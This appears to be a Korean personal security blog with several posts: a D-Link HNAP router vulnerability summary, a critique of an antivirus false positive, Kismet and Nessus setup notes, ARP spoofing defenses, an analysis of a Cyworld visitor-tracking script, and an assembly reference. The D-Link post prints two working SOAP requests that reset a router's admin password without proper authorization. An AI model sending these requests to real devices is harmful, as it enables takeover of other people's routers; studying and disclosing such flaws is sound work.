D-Link 공유기 취약점

Posted at 2010/01/13 22:12 // in Security // by 엔신

D-Link 공유기에서 취약점이 발견되었다고 한다. 얼마 전에도 D-Link 제품에서 취약점이 발견된 적이 있었는데, 그 때와는 다른 제품이며, 취약점 역시 다르다.

취약점은 단순한 HNAP를 통해 공격자가 captcha 로그인을 완전하게 bypass할 수 있다고 한다. 흠.. (그런데 왜 captcha login이지?) 그리고 내부 네트워크의 공격자뿐 아니라 외부에서도 공격 가능하다는데 외부에서 공격이 가능하다는 의미인지 내부 공격을 통해 외부 접근이 가능하다는 건지 잘 모르겠지만 쭉 보기에는 내부 공격을 통해 외부에서 접근이 가능하다는 의미인 듯함.

D-Link 공유기는 2006년도부터 HNAP(Home Network Administration Protocol)를 지원하지만, 취약점은 아래의 최신 펌웨어에서만 확인이 되었다.

1) DI524 hardware version C1, firmware version 3.23
2) DIR628 hardware version B2, firmware versions 1.20NA and 1.22NA
3) DIR655 hardware version A1, firmware version 1.30EA

HNAP는 SOAP-based의 프로토콜이며 HNAP가 사용된 부분은 "Quick Router Setup Wizard"이고, 여기에서 사용하는 명령을 통해 취약점이 발생하였고, DLink Setup Wizard 메뉴는 HNAP를 사용하지 않고, SOAP request 또한 유효하니까 괜찮다고 함.

attacker는 헤더와 다른 내용의 body를 SOAP action으로 실행 가능하다고 한다.
 
아래처럼...(아래 설명참조)

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1:8099
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings"
ContentLength:453

<?xml version="1.0" encoding="utf8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchemainstance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <soap:Body>
  <SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
   <AdminPassword>testing123</AdminPassword>
  </SetDeviceSettings>
 </soap:Body>
</soap:Envelope>

이 코드에서는 SOAP Action의 헤더는 GetDeviceSettings을 요청이라고 보내면서 실제 내용엔 SetDeviceSettings이라고 해서 Admin 비밀번호를 testing123으로 바꾸는 코드를 담고 있으면서 그거에 대한 인증이나 인증정보를 담고 있지도 않고, 요청도 하지 않는다고 한다. (모델 DIR628, DIR655에 국한됨)

이 취약점은 유효한 reqeust인지 검증을 거치지 않아서 발생하는 문제이다.


그런데 DI524 모델은 같은 SOAP에 대한 취약점이지만, 내용이 조금 다르다.

DI524 모델은 모든 SOAP action에 대해서 인증을 필요로 하지만, admin과 user 계정 모두 이러한 action을 실행시킬 수 있다고 한다.

무슨 말인 즉, 관리자이거나 일반 유저 계정이거나 상관 없이 로그인할 수 있는 계정이라면 위의 처음 취약점처럼 관리자의 비밀번호를 바꿀 수 있는 SetDeivceSettings을 실행할 수 있다는 것이다.(여기서 문제가 되는 것은 user 계정 자체가 default로 blank password라고 한다.)

POST /HNAP1/ HTTP/1.1
Authorization: Basic dXNlcjo=
Host: 192.168.0.1
SOAPAction: "http://purenetworks.com/HNAP1/SetDeviceSettings"
ContentLength:
453
<?xml version="1.0" encoding="utf8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchemainstance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
<AdminPassword>testing123</AdminPassword>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>

이 코드를 보고 있자니 이번엔 Basic 인증을 거치고 쳐서 정상적으로 SetDeviceSettings Action을 보내 관리자의 비밀번호를 testing123으로 하고 있다. 정상적인 것처럼 보이지만, 문제는 이 Action을 실행시키는 계정이 관리자 권한이 없으며, 비밀번호가 없는 user 계정이라는 것(누구나 접근 가능하다는 점).

HNAP0wn 이라는 tool을 이용해서 간단하게 공격이 가능하다. 첨부되어 있는 pdf 파일을 읽어보면 상세히 설명이 되어 있다.

난 iptime 공유기를 사용중이라 직접 테스트는 못해봤지만, 간단한 구조이니까 금새 뚫리겠지.... 아마도 이 공격으로 인해서 금전적으로 크게 손해보는 기업이 나오진 않겠지만, 개인 유저단에서 인터넷을 이용하기 위해 종종 악용되어 사용하는 경우가 많이 발생할 수 있겠다.

다행인건 윈도우용 POC tool이 아니므로 그나마 이 tool을 이용하는 사람들의 범위가 더 좁아질 것이라는 생각이 든다. 누군가 윈도우용으로 만들어서 배포하지 않는다면 말이지...........

HNAP0wn라는 툴을 통해 간단하게 POC가 가능한데 난 이 tool이 POC tool인지 acttack tool인지 모르겠다....

첨부되어 있는 SOAP action 파일 목록을 보니 POC만을 위해 분석해놓은건 아닌거 같다는 생각이............

AddPortMapping.xml
DeletePortMapping.xml
GetConnectedDevices.xml
GetDeviceSettings.xml
GetMACFilters2.xml
GetNetworkStats.xml
GetPortMappings.xml
GetRouterLanSettings.xml
GetWLanRadioSettings.xml
GetWLanRadios.xml
GetWLanSecurity.xml
GetWLanSettings24.xml
GetWanSettings.xml
GetWanStatus.xml
IsDeviceReady.xml
Reboot.xml
RenewWanConnection.xml
SetDeviceSettings.xml
SetLanSettings.xml
SetMACFilters2.xml
SetRouterLanSettings.xml
SetWLanSecurity.xml
SetWLanSettings.xml
SetWanSettings.xml


pdf 파일



poc tool



http://www.sourcesec.com/2010/01/09/d-link-routers-one-hack-to-own-them-all/

이올린에 북마크하기(0) 이올린에 추천하기(0)
2010/01/13 22:12 2010/01/13 22:12

안철수연구소, M&A도 좋지만 내실 다졌으면

Posted at 2010/01/12 22:09 // in Security // by 엔신
전국 민원전산망 서비스가 사상 처음으로 마비가 되었고, 그 원인이 안철수연구소의 V3 백신의 오진이었다고 한다.

그동안 안철수연구소는 뭘 하고 있었는가?

는 농담이고..... 자세한 내막은 아래와 같다고 한다.

Midas.dll 파일을 삭제하였다고 하는데 해당 파일은 Delphi로 작성된 프로그램을 실행하는데 필요한 dll이라고 한다. 해당 dll을 삭제하게 된 이유로는 허위 스파이웨어 제거 프로그램(진단명:Win-Adware/Rogue.Viclear.2959872)을 진단하고 삭제하는 과정에 Midas.dll과 관련된 레지스트리가 존재하였기 때문에 해당 파일을 삭제하였다고 한다. 허위 스파이웨어 제거 프로그램 역시 델파이로 작성된 프로그램이기에 그러한 문제가 발생했을 것으로 본다.

국내에서는 빠른 업데이트, 빠른 적용을 우선 시 생각하다 보니, 실제로 다양한 테스트가 이루어지지 못하는 환경이 구축(?)되어 있다. 하지만, MS나 해외 여러 기업들의 경우 하나의 버그가 나오더라도, 실질적으로 그 패치가 나오기까지 생각보다 상당한 시간이 소요된다. 물론 즉각적인 대처가 이루어져야 하는 상황에서조차 상당한 시간이 소요되는 것이 단점이겠지만 대체로는 명확한 프로세스가 정립되어 순차적으로 진행되어 안정성을 확보할 수 있게 되지만, 국내의 경우에는 특정 개발이나 테스트 상황에서만 검증을 한 후 즉각적인 도입(업데이트, 적용)을 하고 추후 문제가 발생하여 다시 재검증을 거치고, 다시 한번 재도입하는 사례가 빈번하게 발생한다. 이러한 점에서 국내 업체는 MS의 대처 방법을 배워 다양한 테스트가 진행될 수 있게 하여 국내 시장을 선도하여야 하는 입장이라는 점을 명확하게 인지하여야 한다.

우리는 정상적인 파일을 오진하거나 오인식하는 경우를 false positive라고 한다. 이 것은 정말 심각한 문제이면서도 상당히 자주 발생하는 문제이기도 하다.

예를 들어 100개의 바이러스를 검색하여, 90개만 검색 성공하였다고 한다면, 나머지 10개에 대하여 검색을 하지 못한 것이므로 10개에 대해서만 조치하면 된다. 하지만, 1000개 중 100개씩 10번에 걸쳐서 분할하여 검색을 진행하였다고 하자. 각 테스트마다 검색 실패를 한 경우가 발생할 것이고, 성공한 것도 존재할 것이다. 그러한 순차대로 9차례까지 검색을 완료한 후, 10번째 검색(100개)에서 false positive가 확인되었다고 한다.  90개를 검색성공하고 5개를 오진하여 검색하였다고 하면, 그 5개로 인하여, 90개의 검색 성공한 건에 대하여서도 100% 신뢰를 할 수 없게 된다. 또한 검색실패한 5개에 대해서도 정말 검색실패인지 의문을 갖게 된다. 그렇다는 것은 그 외 나머지인 900개의 검색 결과도 신뢰성을 잃어 결과로서의 가치가 없어지게 되고, 이는 검색 전체에 대해서 신뢰할 수 없는 상황으로 이어지게 된다.

본인이 이러한 결과를 우연찮게 알게 되었다면 그 프로그램을 사용할 수 있겠는가?

오진은 검색실패보다 더욱 더 무서운 것이다.

문제는 V3의 경우 이러한 오진이 08년 7월에도 발생했었다는 것이다. 그 당시 lsass.exe 파일을 오진하여 삭제하여 시스템 부팅이 되지 않는 매우 심각한 오진이었고, 2년만에 이러한 심각한 오진이 또 발생한 것은 안철수연구소의 이미지에 상당한 큰 타격이다.

사실 false positive는 백신 업계에서는 종종 대두대는 문제이며, 아마 대외적으로 알려져 있지는 않지만 내부적으로 접수되거나 언론을 통해 공개되지 않은 false positive는 훨씬 많을 것이다. 또한 내부적으로도 처리하기 곤란한 false positive가 존재할 것이고, 이는 기술적으로 매우 큰 문제이지만, 아마도 회사의 이윤과 영업적인 측면에서 어떻게서든 무마되어 처리되고 있을 것이다. 이건 뭐.... 중요치 않겠지. 사내의 문제니까.

실제로 false positive를 찾아내기 위해서는 많은 테스트가 필요하다. 하지만 그러한 테스트에서 찾아내는 경우는 그 노력에 비해서 드물고, 우연하게 찾아지는 경우가 다반사 일 것이다. 하지만 그렇다고 테스트를 안할 수도 없는데, 이러한 테스트를 위해 안철수연구소 사내에서는 얼마나 많은 사원들이 안철수연구소 제품을 사용하고 있는지 의문이 든다.

유저들은 단순하고 무식해서, 이런 문제가 한번 발생하면 "고쳐졌어. 괜찮으니까 다시 사용해도 돼"라고 해도 쉽사리 다시 사용하지 않는다. 나 같은 경우도 중학교 시절 사용했었던 2.1기가 삼성 하드디스크에 상당한 스트레스를 받아서 6년간 삼성 하드디스크는 쳐다도보지 않았었다.

그만큼 중요한 문제인데 사과한다고 해서 유저들이 "사과했으니 알았어" 하고 넘어가서 다시 예전처럼 v3를 사용하고 있을 수 있는 간단한 문제는 아니라는 점을 간과하지 않고, 사과하는 마음에 담아 기억해주었으면 좋겠다.


여담으로 이스트소프트의 알약이 국내 개인 유저들에게 상당히 히트하며 V3의 입지를 좁혔다. 그렇다고 해서 안철수연구소에서마저 V3 ZIP을 만들며 알집의 입지를 좁히고자 시도할 필요가 있었을까? 그렇게 시도하여 입지를 좁히는데 성공하기는 한 것일까?

사람들이 말한다.

안철수 연구소를 칭해서 "압축프로그램 만드는 회사"


올해는 전방위로 M&A를 진행한다는 것을 많은 사람들이 이미 알고 있을 텐데 앞으로는

"멸치 파는 회사", "포털 운영하는 회사", "스마트폰에 들어가는 지하철 노선도 만드는 회사"

등과 같은 명칭으로 불릴 수 있거나 그 외의 매우 다양한 명칭으로 사람들에게 알려질 수도 있을 것 같다.

개인적으로 안철수연구소가 바이러스와 보안을 포기할 것이 아니라면, 안철수컴퓨터바이러스연구소에서 시작하였다는 것을 잊지 말았으면 한다.

물론 지금도 잊지 않고 있겠지만.



분류를 ETC에 넣은건 보안 시각에서 적은 글이라기보단 개인적인 잡설에 가깝기 때문에...
이올린에 북마크하기
2010/01/12 22:09 2010/01/12 22:09

Kismet.conf 설정

Posted at 2009/05/26 17:00 // in Security // by 엔신
본인의 경우 Atheros 5008X 무선랜과 LINKSYS WUSB54GC 무선랜(USB) 2개를 사용한다.
Kistmet.conf 설정할 때 마다 매 번 까먹어서 찾는게 귀찮아서 글로 남겨두겠음.

Kismet은 passive scanner이다.

일단 우분투에서의 설치는 매우 간단하다.
sudo apt-get install kismet

Atheros 무선랜 기준으로 설정

드라이버는 madwifi가 아닌 ath5k로 설명한다. madwifi라고 다를 것 없음.
sudo kismet
하면 conf에서 설정이 되어 있지 않으므로 오류가 나면서 실행이 되지 않는다.
한줄만 설정을 하면 된다.
sudo vi /etc/kismet/kismet.conf
source=none,none,addme
로 되어 있는 것을 아래와 같이 수정
source=ath5k,wlan0,addme
source=sourcetype,interface,name[,initialchannel]
첫 번째는 말 그대로 소스 타입이다. 자신의 무선랜의 소스타입을 확인하고자 한다면 이 링크의 12. Capture Sources 메뉴를 참조하길 바란다. 두 번째 interface는 터미널에서 iwconfig 명령을 사용하여 나오는 것들 중 자신의 무선랜 인터페이스 명을 적어주면 된다. 세 번째는 별다른 의미가 없다. 하나의 이름일 뿐이다.

madwifi의 경우에는 madwifi_g, mon0, addme로 설정했던 것 같다.(mon0은 airmon-ng으로 생성되는 monitor모드의 가상 인터페이스)

위 설정을 하고 root 권한으로 kismet을 실행시키면 된다.
sudo kismet
사용자 삽입 이미지
[키스멧 가동 화면]

링크시스도 다를꺼 뭐 있나?
sourcetype과 interface만 설정해주면 된다.

이올린에 북마크하기
2009/05/26 17:00 2009/05/26 17:00

ARP Spoofing(ARP Cache Poison) 참고

Posted at 2009/03/31 18:24 // in Security // by 엔신

인터넷침해사고대응지원센터의 문서로 ARP Spoofing에 대해 잘 설명되어 있음.
추가적으로 ARP Spoofing의 대처 방안에 대해서 명확히 확인하기 위하여 찾아보았음.
위 pdf도 좋지만 아래의 안랩 링크도 추천.

소규모 :
arp -a 명령을 사용하여 IP가 다르지만 물리 주소가 같은 경우가 있는지 확인한다.
있을 경우에는 ARP Spoofing을 당하는 중인 상태이다.
대책은 arp -s 를 통해 arp MAC cache table을 스태틱으로 등록하여 관리하는 방법이 존재한다.
이 방법은 장비가 바뀔 경우 물리 주소도 바뀌기 때문에 많은 장비의 관리에는 적합하지 못하다.

대규모 :
스위치에 있는 Port Security 기능을 이용한다.
Port Security 기능은 물리적인 하나의 포트에 하나의 허용된 MAC Address만 허용할 수 있다.
이 기능을 통하여 동일한 한개 이상의 MAC Address가 매핑될 경우 해당 포트의 기능을 차단할 수 있다.
직접 해보지 않았으나 효과적으로 보임.(단, 네트워크 관리자가 있을 경우)

그 외에 프로그램을 이용하여 맥테이블의 정보가 변경되었을때 경고하거나 알려주는 방법을 통하여 관리하는 방법

프로그램 이용 :
- WinARPWatch(윈도우가능) - http://sid.rstack.org/arp-sk/
- arpwatch(리눅스계열) -  http://www-nrg.ee.lbl.gov/
- ettercap의 arpcop plug-in
- xarp - http://www.chrismc.de/development/xarp/

그 외에도 보니까

VLAN 관리

ARP cache타임 최소화
Secure-ARP (SARP) 설정

과 같은 방법이 있다는데 이미 안드로메다...
ARP Spoofing만 막는다면 응용인 IP Spoofing과 DNS Spoofing은 무용지물...

참고 사이트 :
http://pc.ahnlab.com/bluebelt_pcdic/pcdic_view.do?BBS_SEQ=94360
http://fullc0de.egloos.com/3572314

이올린에 북마크하기
2009/03/31 18:24 2009/03/31 18:24

범죄적으로 지능화된 싸이월드 방문자 추적기

Posted at 2009/03/16 13:18 // in Security // by 엔신
싸이월드 랜덤으로 좋은 노래를 찾아 서핑중이었다.
그러다 어떤 미니홈피의 미니룸이 '페이지를 찾을 수 없습니다.' 라고 나오는 것이었다.
순간적인 오류인가 싶어 다시 새로고침 해보았지만 여전히 '페이지를 찾을 수 없습니다.' 오류...

사용자 삽입 이미지
[개인정보와 관련 있을만한 부분은 모자이크 처리하였습니다.]

뭔가 이상하다 싶어서 찾지 못한 페이지의 URL을 확인하여 보니 아래와 같았다.

사용자 삽입 이미지

www.the-cy.com ?????? 싸이월드 주소라고 볼 수 없는 주소가 나온 것을 확인할 수 있었고, 검색을 통해 찾아보니 싸이월드 방문자 추적 사이트인 것으로 확인이 된다.

미니룸을 어떻게 했길래
URL이 링크 수준이 아니라 저런 접속이 가능해진것인지 매우 궁금해졌다.

사용자 삽입 이미지

the-cy.com 사이트 접속을 시도하는 곳을 확인하기 위해 Paros(웹 프록시 툴)를 사용하여 Referer를 확인하였다.
Referer 자체는 싸이월드의 주소였고, 특수한 파일을 업로드 한 것이 아니었다. 싸이월드 자체의 미니룸 페이지이며 끝을 보면 htm으로 htm 파일이라는 것을 확인 할 수 있다. 확인을 위해 본인의 싸이월드도 확인하여 보았는데 redirect 되는 주소만 다를 뿐이지 htm 페이지가 있었고 모든 싸이월드의 미니룸이 htm 형식으로 되어 있음을 확인할 수 있었다.

미니홈피 메인페이지가 불러오는 url 중

GET http://minihp.cyworld.com/pims/main/main_inside.asp

가 있다. 해당 페이지 소스에는 미니룸의 주소가

var varMVSrc0="http://cyimg.cyworld.com/common/file_down_text.asp?redirect=****************************************1964%2Ehtm";

와 같은 형식으로 선언이 되어져 있다. 본인의 미니홈피에서 해당 url을 확인하여 접속하여 보니 아래와 같았다.

사용자 삽입 이미지

위와 같이 미니룸만 나오는 것을 확인할 수 있었다.

정상적인 소스를 확인하고 추적기가 삽입이 된 소스를 확인하기 위해 먼저 본인의 미니룸 htm 파일의 소스를 확인하여 보았다. 소스가 조금 길어 more/less로 삽입하였다.

more..


정상적인 div 태그와 기타 태그들이 있음을 확인할 수 있었다. 이번에는 싸이월드 방문자 추적기가 삽입된 소스를 확인하여 보았다.

사용자 삽입 이미지

악용의 소지를 막기 위해 일부 소스를 가렸다.
빨간색 라인의 윗부분은 정상적인 소스이며 아랫 부분만 삽입이 된 추적기 스크립트이다.
해당 미니룸 htm 파일이 불러지게 되면 따로 클릭을 하지 않아도 form 태그로 작성된 www.the-cy.com로 연결할 수 있는 폼을 생성하며 HTML DOM을 이용하여 자동 클릭 하여 미니홈피 접속자로 하여금 아무런 행동을 하지 않아도 IP나 로그인한 접속자의 정보가 www.the-cy.com으로 전달이 되어지게 된다. 또한 태그의 사이사이에 *을 넣어 IDS(침입탐지시스템)를 우회하는 것으로 예상이 된다.

어떻게 미니룸에 이런 스크립트가 삽입이 가능해졌을까? 고민해보다가 주변 사람들에게 물어보았다. 싸이월드 선물가게로 가면 셀프아이템이라는 메뉴가 있고, 그 곳을 통해 자신이 직접 미니룸이 제작이 가능하다고 한다.(Injection Vector로 예상이 된다.)

사용자 삽입 이미지

추가적으로 싸이월드 방문자 추적기를 단 사람들을 추적한다는 역추적기 프로그램을 이용해보았다. 1월 29일날 나왔으면 비교적 최근에 제작된 프로그램인데 해당 방문자 추적기를 달고 있는 사이트를 찾아내지 못하였다. 프로그램의 분석 방법은 생략한다.

최종 결론으로는 싸이월드 방문자 추적기를 지금까지 간단한 방법을 통한 단순한 장난으로 생각하고 있었는데, 지금 확인을 해보니 전문 크래커(악의가 있으므로 해커라고 하지 않겠다.)에 의해 정밀 분석되어 싸이월드를 타겟으로 만들어진 것임을 알 수 있었다.

단순한 장난이 아닌 전문 돈벌이가 되는 것이다.
싸이월드 가입자가 1000만명을 넘는 상황에 1/1000인 1만명이 싸이월드 추적기를 달았다고 가정해보자.
1만명이 추적기를 달고 월 3000원씩 내고 사용한다고 치면, 월 30,000,000원(삼천만원)의 수입을 거둘수 있다. 1년이면 4억의 돈을 벌 수 있다.

싸이월드 방문자 추적기는 불법이며 추적기를 사용한 사람마저도 처벌의 대상이 될 수 있으므로 사용하지 않는 것이 좋겠다.
해당 방문자 추적기는 SK컴즈쪽 지인에게 알려주었다.

추가. 지인이 확인결과 과거에 삽입이 된 스크립트이며 지금은 해당 방법이 되지 않는다고 한다.


`싸이월드 방문자 추적 프로그램` 불법판매' 뉴스
http://www.dt.co.kr/contents.html?article_no=2008042802010251713002
이올린에 북마크하기(0) 이올린에 추천하기(0)
2009/03/16 13:18 2009/03/16 13:18

base64 code 표

Posted at 2009/01/20 17:22 // in Security // by 엔신
사용자 삽입 이미지
http://edipermadi.wordpress.com/2008/04/22/an-implementation-of-base64-encoderdecoder-using-pic16f84/

ab를 base64 encoding을 하면 YWI=으로 되는데 YWI를 위의 Binary로 변환하여 보면
011000 010110 001000이 된다
이 것을 다시 8bit 단위로 끊으면
01100001 01100010 00
0x61 0x62된다
이는 ascii로 표현하면 ab가 된다.
첨부된 파일은 base64와 MD5, bin, Oct, Dec, Hex로 변환이 가능하다.


이올린에 북마크하기
2009/01/20 17:22 2009/01/20 17:22

Nessus 설치, 사용법

Posted at 2008/12/11 10:33 // in Security // by 엔신

http://boanchanggo.tistory.com/14


Nessus 대하여 설치법과 자세한 설명이 나와 있습니다. 참고하여 설치하여 보았습니다.

Nessus 서버 관리자들이 즐겨 사용하는 취약점 분석 도구입니다. 데몬 형식이라 Nessus 서버에 설치를 하여 Service 가동시켜준 Nessus Client 통해 Nessus Server Target PC Scanning 요청 하여야 합니다.(Server 자체를 Scanning 수도 있음)


http://www.nessus.org/

홈페이지이며, 라이센스의 경우 ProfessionalFeed와 HomeFeed로 나누어져 있습니다.

ProfessionalFeed의 경우 상용이고 HomeFeed는 무료로 email 등록을 통하여 등록할 수 있습니다.


데몬을 가동시킬 서버를 CentOS 5.2 정하여 RPM 받은 설치하여 진행한 내용입니다.

설치하기 이전에 사이트를 통해 아래와 같은 프로그램이 먼저 설치되어 있어야 한다고 하여 확인 설치하였습니다.(생각입니다만, 아래 프로그램들은 client 리눅스에서 사용할 사용되는 프로그램인 같습니다)


    sharutils-4.2.1-14.i386.rpm

    glib-devel-1.2.10-10.i386.rpm

    freetype-devel-2.1.3-6.i386.rpm

    fontconfig-devel-2.1-9.i386.rpm

    XFree86-devel-4.3.0-2.i386.rpm

    gtk+-devel-1.2.10-25.i386.rpm

    gdk-pixbuf-0.18.0-7.i386.rpm


    yum 통해 설치하였고, XFree86 경우 yum list에는 존재하지 않아서 무시하고 설치하였으나 프로그램의 작동에는 아무런 문제가 없었습니다.


////////////////////////////////////////////////////////////////////////////

[root@notasusual ~]# rpm -Uvh Nessus-3.2.1-es5.i386.rpm

준비 중...              ########################################### [100%]

   1:Nessus                                                            (  1%########################################### [100%]

nessusd (Nessus) 3.2.1. for Linux

(C) 1998 - 2008 Tenable Network Security, Inc.


Processing the Nessus plugins...

[##################################################]


All plugins loaded

 - Please run /opt/nessus//sbin/nessus-adduser to add an admin user

 - Register your Nessus scanner at http://www.nessus.org/register/ to obtain

   all the newest plugins

 - You can start nessusd by typing /sbin/service nessusd start


//////////////////////////////////////////////////////////////////////////////////////////////////


설치 후에 nessus-adduser 통하여 Nessus Server 접속 시에 사용자 계정을 등록하고, plugins 업데이트를 위해 등록하라는 안내가 나옵니다. 위에서 얘기하였듯이 HomeFeed 무료기때문에 등록하게 되면 이메일로 key 전달되고 운영체제 별로 등록 방법이 안내되어 있으므로 운영체제에 맞는 등록 방법을 복사하여 입력하면 간단하게 등록이 됩니다. 후에는 /sbin/serice nessusd start 하여 데몬을 가동시켜주어야 한다고 안내되고 있습니다.


추가적으로 데몬의 가동에 생각보다 시간이 오래 소요되었습니다. 저의 경우에만 그런지 모르겠지만 데몬을 가동시키자 5 정도가 지나서야 서비스가 정상적으로 실행됐다는 안내가 나왔습니다.

그러니, 가동 후에 아무런 반응이 없을 시에는 다른 콘솔 창을 띄워 넣고 top 명령을 사용하여 nessus 프로세스의 점유율을 확인하여 보십시오. 상위에 링크되어 있다면 idle 상태가 아니기 때문에 가동중인 것입니다.


아래는 위의 3가지 항목에 대한 등록 장면입니다.


[root@notasusual ~]# /opt/nessus/bin/nessus-fetch --register 79C9-****-****-****-****

Your activation code has been registered properly - thank you.

Now fetching the newest plugin set from plugins.nessus.org...

Your Nessus installation is now up-to-date.

If auto_update is set to 'yes' in nessusd.conf, Nessus will

update the plugins by itself.

[root@notasusual ~]# /opt/nessus/sbin/nessus-adduser

Using /var/tmp as a temporary file holder


Add a new nessusd user

----------------------


Login : darkhi

Authentication (pass/cert) [pass] :

Login password :

Login password (again) :


User rules

----------

nessusd has a rules system which allows you to restrict the hosts

that darkhi has the right to test. For instance, you may want

him to be able to scan his own host only.


Please see the nessus-adduser(8) man page for the rules syntax


Enter the rules for this user, and hit ctrl-D once you are done :

(the user can have an empty rules set)



Login             : darkhi

Password          : ***********

DN                :

Rules             :



Is that ok ? (y/n) [y] y

user added.

[root@notasusual ~]#


If auto_update is set to 'yes' in nessusd.conf, Nessus will

update the plugins by itself.

auto_update=yes 옵션으로 인하여 자동으로 업데이트 되도록 설정되어 있습니다. 옵션을 끄고 싶다면 /opt/nessus/etc/nessus/nessusd.conf파일에서 no 수정하여 주시면 됩니다.


가동이 되었다면 홈페이지에서 윈도우용 Client 받은 설치하면 됩니다. 굳이 윈도우용을 설치할 필요는 없지만, 윈도우용이 사용하기 편하기 때문에 윈도우 용을 추천합니다.



사용자 삽입 이미지
[Nessus Client 화면]


Nessus Client 설치한 실행하여 Nessus Server 접속하는 장면입니다. 여기서는 Target 아닌 Nessus Server ip 적고 위에서 등록한 사용자 계정을 입력하여 주면 됩니다.



사용자 삽입 이미지
[Target IP 지정 화면]


Connect…  하여 연결이 되었다면, 위처럼 좌측에 + 버튼을 이용하여 Target IP를 지정한 후 Scan Now 입력하면 Scan하여 열린 Port 별로 취약점이나 Risk 정도를 Report하여 줍니다.


Connect 하였는데 연결이 되지 않는다면, WireShark 패킷을 떠보게 되면 자세히 있습니다.

보낸 패킷은 제대로 SYN하지만, 돌아오는 패킷은 Destination unreachable (Host administratively prohibited)라고 있습니다. 쉽게 말하자면 목적지 호스트와의 통신이 관리 목적상 금지되었다는 내용입니다.

원인은 Nessus 데몬이 설치된 Server 방화벽이 존재하기 때문입니다. Server 방화벽을 꺼주면 됩니다.

끄는 방법은 CentOS 계열에서는 service iptables stop 명령어를 사용하거나 setup 들어가서 방화벽 설정에서 disable 시켜주면 됩니다.



사용자 삽입 이미지
[Report 형식]


위의 모습처럼 Report 작성되어집니다. 상용 프로그램처럼 최신 취약점에 대한 정보가 plugin 으로 업데이트되어 제공되기 때문에 빠르고 자세한 정보를 취득할 있습니다. 단점으로는 Server 존재하여야 한다는 단점이 있습니다. 공격보다는 방어를 위한 분석도구로 있습니다.

이올린에 북마크하기
2008/12/11 10:33 2008/12/11 10:33

Backtrack3 Final에서 sshd 가동하기

Posted at 2008/12/08 23:56 // in Security // by 엔신
#sshd-generate
또는
#ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
#ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key

한 후에 아래 명령어(generate하게 되면 위 명령어 두개가 동시 수행된다)

#chmod +x /etc/rc.d/rc.sshd
#/etc/rc.d/rc.sshd start

설치는 되어 있지만 서버 오픈이 되어 있지 않으므로 오픈하여 주어야 함.
그러나 백트랙은 재부팅하면 안된다.
재부팅하게 되면 설정해놓은 이더넷 인터페이스와 기타 세팅들이 적용되지 않는다 크흑 ㅜㅜ
라이브시디의 한계..

이올린에 북마크하기
2008/12/08 23:56 2008/12/08 23:56

어셈 레퍼런스(?)

Posted at 2008/09/17 13:51 // in Security // by 엔신
1.어셈블리어 Push : sp 레지스터를 조작하는 명령어중의 하나이다. 스택에 데이터를 저장하는데 쓰인다. ex:) Push eax : 스택에 Eax의 값을 스택에 저장한다. ex:) Push 20 :즉석값인 20을 스택에 저장한다. ex:) Push 401F47 : 메모리 오프셋 401F47의 값을 스택에 저장한다. Pop : 이또한 sp 레지스터를 조작하는 명령어중 하나이다. 스택에서 데이터를 꺼내는데 쓰인다. ex:) Pop eax :스택에 가장 상위에 있는 값을 꺼내애서 eax에 저장한다. 주의점 : Push 의 역순으로 값은 스택에서 Pop 된다. Mov : 메모리나 레지스터의 값을 옮길 때[로 만들 때]쓰인다. ex:) Mov eax,ebx :ebx 레지스터의 값을 eax로 옮긴다[로 만든다]. ex:) Mov eax,20 :즉석값인 20을 eax레지스터 에 옮긴다[로 만든다]. ex:) Mov eax,dword ptr[401F47] :메모리 오프셋 401F47 의 값을 eax에 옮긴다[로 만든다] Lea : 오퍼렌드1의 값을 오퍼렌드2의 값으로 만들어준다. ex:) Lea eax,ebx : eax레지스터의 값을 ebx의 값으로 만든다. Inc : 레지스터의 값을 1증가 시킨다. ex:) Inc eax : Eax 레지스터의 값을 1증가 시킨다. Dec : 레지스터의 값을 1 감소 시킨다. ex:) Dec eax : Eax 레지스터의 값을 1 감소 시킨다. Add : 레지스터나 메모리의 값을 덧셈할떄 쓰임. ex:) Add eax,ebx :Eax 레지스터의 값에 ebx 값을 더한다. ex:) Add eax,50 :Eax 레지스터에 즉석값인 50을 더한다. ex:) Add eax,dword ptr[401F47] : Eax 레지스터에 메모리 오프셋 401F47의 값을 더한다. Sub : 레지스터나 메모리의 값을 뻇셈할떄 쓰임. ex:) Sub eax,ebx : Eax 레지스터에서 ebx 레지스터의 값을 뺸다. ex:) Sub eax,50 Eax : 레지스터에서 즉석값 50을 뺸다. ex:) Sub eax,dword ptr[401F47] :Eax 레지스터에서 메모리 오프셋 401F47의 값을 뺸다. Nop : 아무동작도 하지 않는다. : 90 Call : 프로시저를 호출할떄 쓰인다. ex:) Call dword ptr[401F47] : 메모리 오프셋 401F47을 콜한다. Ret : 콜한 지점으로 돌아간다. Cmp : 레지스터와 레지스터혹은 레지스터 값을 비교하기위하여 쓰인다. ex:) Cmp eax,ebx :Eax 레지스터와 Ebx 레지스터의 값을 비교한다. ex:) Cmp eax,50 :Eax 레지스터와 즉석값 50을 비교한다. ex:) Cmp eax,dword ptr[401F47] :Eax 레지스터와 메모리 오프셋 401F47의 값을 비교한다. Jmp : 특정한 메모리 오프셋으로 이동할떄 쓰인다. ex:) Jmp dword ptr[401F47] :메모리 오프셋 401F47 로 점프한다. 조건부 점프: Cmp나 Test 같은 명령어의 결과에 따라점프한다. Je : Cmp나 Test 의 결과가 같다면 점프 Jne : Cmp나 Text 의 결과가 같지 않다면 점프 Jz : 왼쪽 인자의 값이 0 이라면 점프 Jnz : 왼쪽 인자의 값이 0 이 아니라면 점프 Jl : 왼쪽 인자의 값이 오른쪽 인자의 값보다 작으면 점프(부호있는) Jnl : 왼쪽 인자의 값이 오른쪽 인자의 값보다 작지 않으면(크거나 같으면) 점프 